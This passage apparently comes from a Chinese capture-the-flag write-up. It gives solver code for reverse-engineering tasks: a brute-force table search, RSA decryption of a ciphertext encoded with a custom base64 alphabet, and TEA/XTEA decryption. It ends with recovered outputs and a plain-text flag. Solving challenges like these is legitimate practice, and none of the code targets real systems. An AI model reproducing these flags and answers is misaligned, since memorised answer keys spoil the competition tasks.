0xB9, 0x72, 0x1B, 0x3F, 0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B,
0x1D, 0x3F, 0x7D, 0xF7, 0x73, 0x32, 0x5F, 0x71, 0x1B, 0x3F,
0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B, 0x1D, 0x3F, 0x43, 0x06,
0xCE, 0x02, 0x63, 0x92, 0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB,
0xC6, 0x2A, 0x1D, 0x3F, 0x06, 0x02, 0x10, 0xB7, 0x70, 0x94,
0x1C, 0x3F, 0x53, 0x04, 0xB9, 0x04, 0x72, 0x2E, 0x1D, 0x3F,
0x35, 0xCB, 0x77, 0xB1, 0x13, 0x65, 0x1A, 0x3F, 0x56, 0x6D,
0xE7, 0x6E, 0x78, 0x2A, 0x1D, 0x3F, 0x82, 0x63, 0x2D, 0xDD,
0xCC, 0x91, 0x1C, 0x3F, 0x33, 0xC1, 0xAA, 0x74, 0x11, 0x33,
0x16, 0x3F
};
double num1 = *(double*)num;
void main()
{
for (int i = 0; i < 19; i++)
{
for (int j = 0x2022; j <= 0xffff; j++)
{
double tmp = *(double*)(check + 8 * i);
if ((num1 - num1 / (j + 1)) / j <= tmp)
{
printf("%x\n",j-1);
break;
}
}
}
}
standonthegiant
openssl源码逆向,是rsa加密,求明文,不过密文被换表base64加密了,而且表中+-重复,得爆破
from base64 import *
from Crypto.Util.number import *
n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 65537
def my_replace(r, k, a, b, c):
cnt = 0
r = "0"*(k.count(a)-r.bit_length())+bin(r)[2:]
kkk = list(k)
for i in range(len(kkk)):
if kkk[i] == a:
if r[cnt] == '1':
kkk[i] = b
else:
kkk[i] = c
cnt += 1
# print("".join(kkk))
return ''.join(kkk)
a ="bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK="
#a = "btF.d:IDCNIMHdD+PFExV+BBGYbxjqGK@IN?B+d:*;XZvSMiBJaY@ufB,CIDCI?;oR?SWWdNU?EXc*BfpakoNsRD:IQRffViAUmF+/aJ*v*xvxYw?KXVaFsRzy/N/,XGGKHrpZ*Ooje="
table1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"
table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def change(a):
tmp = ""
for i in range(len(a)):
if a[i]=="-" or a[i]=="+":
tmp += a[i]
continue
for j in range(len(table1)):
if a[i] == table1[j]:
tmp += table2[j]
break
return tmp
def Dec(s):
try:
return bytes_to_long(b64decode(s.encode()))
except:
try:
return bytes_to_long(b64decode((s+"=").encode()))
except:
print("[!] Not base64")
return None
f = open("data", "w")
for i in range(2**10):
for j in range(2**4):
tmp_a = change(a)
tmp_a = my_replace(i, tmp_a, '+', '+', '1')
tmp_a = my_replace(j, tmp_a, '-', '3', '/')
c = Dec(tmp_a)
if c == None: continue
m = pow(c, inverse(e, (p-1)*(q-1)), n)
flag = long_to_bytes(m)
f.writelines(str(flag))
f.close()
longtimego
64位,8*8,化成hex编码,分为四组,前两组xtea, 后两组tea,在解密之前先xor
#include<stdio.h>
#define DELTA 0x8f3779e9
#define uint32_t unsigned int
void xtea_encrypt(unsigned int* v, unsigned int* key) {
unsigned int l = v[0], r = v[1], sum = 0;
for (size_t i = 0; i < 32; i++) { //进行32次迭代加密,Tea算法作者的建议迭代次数
l += (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
sum += DELTA; //累加Delta的值
r += (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = l;
v[1] = r;
v[0] ^= 0xfd;
v[1] ^= 0x1fd;
}
void xtea_decrypt(unsigned int* v, unsigned int* key) {
v[0] ^= 0xfd;
v[1] ^= 0x1fd;
unsigned int l = v[0], r = v[1], sum = 0;
sum = DELTA * 32; //32次迭代累加后delta的值
for (size_t i = 0; i < 32; i++) {
r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
sum -= DELTA;
l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
}
v[0] = l;
v[1] = r;
}
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
v[0] ^= 0x3fd;
v[1] ^= 0x7fd;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
v[0] ^= 0x3fd;
v[1] ^= 0x7fd;
uint32_t v0 = v[0], v1 = v[1], sum = 0xa6a53780, i; /* set up */
uint32_t delta = 0x3d3529bc; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main() {
unsigned int v[] = { };//放密文
unsigned int key[] = {0xfffd,0x1fffd,0x3fffd,0x7fffd};
xtea_decrypt(v, key);
printf("0x%lx 0x%lx",v[0],v[1]);
}
0xcd402b6a 0x13928382
0x2f0dea49 0xe6579435
0x6f44ea9b 0x3f56652f
0x2da39881 0xec491878
cd402b6a139283822f0dea49e65794356f44ea9b3f56652f2da39881ec491878
大写
Misc
签到
flag{welcome_to_qwb_s5}
问卷
填问卷拿flag
最新评论